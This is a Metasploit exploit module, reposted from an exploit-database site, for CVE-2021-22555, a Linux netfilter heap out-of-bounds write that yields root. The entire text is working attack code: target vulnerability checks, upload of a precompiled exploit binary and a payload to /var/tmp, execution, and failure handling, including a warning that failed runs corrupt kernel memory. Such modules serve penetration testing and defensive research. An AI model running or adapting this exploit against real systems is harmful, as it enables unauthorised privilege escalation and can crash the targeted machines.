Share
## https://sploitus.com/exploit?id=PACKETSTORM:164437
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
include Msf::Post::Common  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation',  
'Description' => %q{  
A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.  
This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.  
Kernels up to 5.11 (including) are vulnerable.  
More information about vulnerable kernels is  
available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Andy Nguyen (theflow@)', # The original author of this exploit  
'Szymon Janusz', # The author of this module  
'bcoles' # Updated the C source code to provide more targets  
],  
'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date  
'Platform' => 'linux',  
'Arch' => [ ARCH_X64 ],  
'SessionTypes' => ['meterpreter', 'shell'],  
'Targets' => [  
['Automatic', {}]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes.  
'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted.  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'References' => [  
['CVE', '2021-22555'],  
['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'],  
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'],  
['URL', 'https://ubuntu.com/security/CVE-2021-22555']  
]  
)  
)  
  
register_options(  
[  
OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']),  
OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10])  
]  
)  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def cmd_timeout  
datastore['CmdTimeout'].to_i  
end  
  
def get_external_source_code(cve, file)  
file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")  
::File.binread(file_path)  
end  
  
def strip_comments(c_code)  
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')  
end  
  
def check  
unless kernel_modules.include? 'ip_tables'  
vprint_warning('The ip_tables module is not loaded.')  
return CheckCode::Safe('The ip_tables module is not loaded.')  
end  
  
return CheckCode::Safe('LKRG is installed.') if lkrg_installed?  
return CheckCode::Safe('grsecurity is in use') if grsec_installed?  
  
release = kernel_release  
version = "#{release} #{kernel_version.split(' ').first}"  
ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first  
ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten  
if ubuntu_kernels.empty?  
fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')  
end  
return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version  
  
# Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels.  
# Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length.  
minimum_msgmni = 4096  
msgmni_path = '/proc/sys/kernel/msgmni'  
return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path)  
  
msgmni = read_file(msgmni_path).to_i  
if msgmni >= minimum_msgmni  
return CheckCode::Appears("Target is running kernel release #{release}.")  
else  
return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.")  
end  
end  
  
def upload_exploit_binary  
executable_name = rand_text_alphanumeric(5..10)  
@executable_path = "#{base_dir}/#{executable_name}"  
upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf'))  
register_file_for_cleanup(@executable_path)  
end  
  
def upload_payload_binary  
payload_name = rand_text_alphanumeric(5..10)  
@payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx(@payload_path, generate_payload_exe)  
register_file_for_cleanup(@payload_path)  
end  
  
def run_payload  
response = cmd_exec(@executable_path, @payload_path, cmd_timeout)  
vprint_status(response)  
if response =~ /No space left on device/  
# After too many failed attempts, the system needs to be restarted.  
fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.')  
elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/  
fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.')  
elsif response =~ /system is not using an Ubuntu kernel/  
fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.')  
elsif response =~ /not recognized/  
fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.')  
end  
print_status('Payload executed!')  
end  
  
def exploit  
fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir)  
  
print_status('Dropping pre-compiled binaries to system...')  
upload_exploit_binary  
print_status('Uploading payload...')  
upload_payload_binary  
print_status('Running payload on remote system...')  
run_payload  
end  
end